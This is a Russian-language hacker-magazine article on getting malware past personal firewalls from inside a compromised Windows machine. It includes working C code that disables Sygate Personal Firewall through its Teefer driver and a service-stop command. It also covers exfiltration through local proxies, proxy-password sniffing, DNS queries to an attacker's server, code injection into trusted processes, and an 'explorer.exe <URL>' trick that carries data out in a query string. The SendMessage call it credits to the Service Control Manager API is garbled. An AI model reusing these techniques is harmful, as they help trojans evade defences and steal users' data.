Преодоление firewall'ов снаружи и изнутри

       

Из неволи на свободу или проникновение изнутри


Пробиться сквозь брандмауэр изнутри намного проще, чем снаружи, поскольку брандмауэр физически выполняется на той же самой машине, что и зловредные приложения и его код свободно доступен для изменения и модификации. Исключение составляет аппаратные firewall'ы, встроенные в материнскую плату, однако, их возможности сильно ограничены (в частности, они не могут определить какое именно приложение ломится на данный порт— "честный" Лис или коварный троян, поэтому мы их не рассматриваем).

Любая программа, независимо от уровня своих привилегий, может эмулировать клавиатурный ввод, делая с окном брандмауэра все, что угодно (например, временно отключать защиту). Пример готового кода можно найти в статье "знакомство с багами или ошибки клиентских приложений", опубликованной в этом номере "Хакера". Кстати говоря, некоторые брандмауэры конфигурируются и отключаются через реестр, что еще больше упрощает нашу задачу.

Если брандмауэр выполнен в виде службы, ее можно "снести" или остановить. Взять хотя бы тот же SPF. Разработчики пишут в документации: "Sygate Personal Firewall has a fail-safe mechanism that will stop all network traffic to and from the system in case the firewall service in unavailable. Hence if a malicious local program is able to kill the firewall service, all traffic will stop. However, there is a flaw in the implementation of this feature, allowing an attacker to bypass this mechanism." (Sygate Pesonal Firewall имеет специальный механизм предотвращения сбоев, который останавливает весь принимаемый/передаваемый сетевой трафик из, в случае если служба брандмауэра окажется недоступной. Следовательно, если зловредная локальная программа прибьет наш сервис, весь трафик будет остановлен и одна останется с носом. Тем не менее, при желании хакер может обойти этот механизм). Чтобы преодолеть брандмауэр, мы должны остановить smc-сервис. Сделать это можно двумя путями: либо выполнить команду "net stop smcservice", либо послать сообщение через Service Control Manager API, которая не требует никаких привилегий: SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);


На следующем шаге выполняется следующий код, отключающий режим защиты от сбоев:

DWORD ret; char buffer[8];

DWORD *ptr = (DWORD *)buffer; DWORD *ptr2 = (DWORD *)(buffer + 4);

hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ,

                     FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,

                     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if(hDevice == INVALID_HANDLE_VALUE){printf("Open failed\n"); return -1;}

*ptr = 0; *ptr2 = 0;

if(DeviceIoControl(hDevice,0x212094,buffer,8,buffer,8,&ret,0)) printf("Sent.\n");



CloseHandle(hDevice);

Листинг 1 отключение SPF брандмауэра

Другие брандмауэры так же имеют уязвимости, перечень которых можно найти на любом сайте по безопасности. Тем не менее, какой-либо практической ценности эти дыры не представляют, поскольку написать вирус, поддерживающий все типы брандмауэров, довольно затруднительно (а их количество с каждым годом все растет и растет), к тому же однажды обнаруженная дыра через некоторое время затыкается.

Можно, конечно, зайти с другой стороны, и объявить войну пакетным фильтрам — выгрузить драйвера мини-портов, отключить систему фильтрации или обратиться к tcpip.sys/NDIS напрямую, но… все это слишком сложно и непереносимо. То, что работает в NT, не сможет работать в 9x и наоборот. Наибольший интерес представляют универсальные методики, работающие на прикладном уровне и не требующие навыков системного программирования.

Проблему с обратной петлей мы уже упомянули. Если на компьютере установлен Proxy, через него может выходить кто угодно. В частности, HTTP-Proxy обычно висят на 80, 8080 или 8081 порту, поэтому их очень легко обнаружить. Правда, в некоторых случаях они защищены паролем и зловредному приложению приходится запускать снифер или устанавливать свой собственный пакетный фильтр и грабит локальный трафик на предмет поиска паролей.

Если никаких Proxy на компьютере нет, можно попробовать послать DNS-запрос на подконтрольный хакеру сервер (кстати говоря, он может находится и на динамическом IP).


Практически все брандмауэры спокойно пропускают такие запросы, не выдавая никаких предостерегающих сообщений и не обращаясь к пользователю за подтверждением (конкретный пример можно найти в утилите DNS-tester, исходный код которой лежит на глухом безымянном сайте www.klake.org/~jt/misc/dnstest.zip, а здесь расположен альтернативный вариант, использующий запрос DnsQuery: www.klake.org/~jt/misc/dnstester.zip). Такую атаку выдерживает только Zone Alarm и Jetico. Эти маузеры стоят на страже как Муромец против татар, но как гласит народная мудрость, на каждого Муромца найдется свой Змей-Горыныч, ну если не Змей, так червь точно.



Рисунок 11 Муромец и брандмауэр

Наиболее мощной и в то же время универсальной техникой обхода брандмауэров остается "троянизация" доверенных приложений. Все очень просто. На каждом компьютере установлены программы, которым разрешен беспрепятственный выход в сеть: Лис, Мыщъх, Птиц и все-все-все. Брандмауэры первого поколения ориентировались только на имя исполняемого файла, но никак не проверяли его содержимого. Хакеру было достаточно временно переименовать доверенный файл, подменив его своим. И это работало! Современные брандмауэры не только следят за целостностью доверенных приложений, но и распознают подмену используемых динамических библиотек или модификацию компонентов. Лобовая атака захлебывается еще даже не начавшись.

В то же время, ни один брандмауэр не контролирует образ загруженного приложения в памяти, что, собственного говоря, и не удивительно, поскольку многие процессы динамически расшифровываются на лету или создают/удаляют потоки для служебной необходимости. Поразительно, но даже такие наивные способы внедрения собственного кода, как CreateRemoteThread или WriteProcessMemory обходят все известные брандмауэры и ни один из них даже не порывается пикнуть, хотя, отследить вызовы CreateRemoteThread/WriteProcessMemory вполне реально. Готовых примеров здесь не приводится, поскольку они тривиальны. Этого добра и без того хватает в сети.


Вот только одно из них: http://www.firewallleaktester.com/leaks/copycat.exe.

А вот другой невероятно тупой, но вместе с тем элегантный способ обхода, обманывающий все известные брандмауэры. Достаточно набрать в командой строке "explorer.exe http://kpnc.opennet.ru" (естественно, http-адрес может быть любым), чтобы выйти в сеть без запроса со стороны брандмауэра. Указав адрес свой домашней странички, атакующий сможет передать любые данные в строке запроса. Впрочем, эксперименты с SPF показали, что обход брандмауэра не такой уж и полный и если напротив IE стоит не "Ask" (спрашивать), а "Block" (блокировать), то атакующий обламывается, но и работа самого IE становится невозможной, так что в целом, испытания данного вида оружия можно считать состоявшимися.



Рисунок 12 WallBreaker собственной персоной

Утилита, реализующая такую атаку, зовется WallBreaker (Разрушитель Стен). Когда-то она распространялась в исходных кодах, а теперь на сервере лежит только двоичный файл: http://www.firewallleaktester.com/leaks/WallBreaker.exe. Как пишет сам автор "The source from my leaktests will no longer be available, starting from now, to avoid to help the kiddies and malware authors. However I do send the source to any firewall vendor wanting it… " ("Исходные коды моего тестера брандмауэров более недоступны, чтобы не помогать пионерам и вирусописателям. Тем не менее, я пошлю свою сырцы любому разработчику брандмауэров, который только захочет…"). Ха-ха! Для анализа программы сырцы совсем не обязательны, достаточно просто запустить Файловый Монитор Марка Руссиновича, как мы обнаружим, что программа создает командный файл со случайным названием и тут же его удаляет. Остается либо залезть в таблицу импорта и заменить DeleteFileA на что-то более невинное или запустить GetDataback или R-Studio, возвращая удаленных файл из мира мертвых в мир живых. Что мы увидим?

REM 5

REM 11

REM 5

REM 5

REM 2

REM 2

REM 3

REM 13

explorer.exe http://www.firewallleaktester.com/leak_results/wallbreaker_youareleaking.php

REM 1

REM 4

Листинг 2 файл NIHUYA.bat, созданный и тут же удаленный WallBreaker'ом

Разумеется, помимо вышеописанных существуют и другие способы проникновения, но не будем на них останавливаться, поскольку, объять необъятное еще никому не удавалось.


Содержание раздела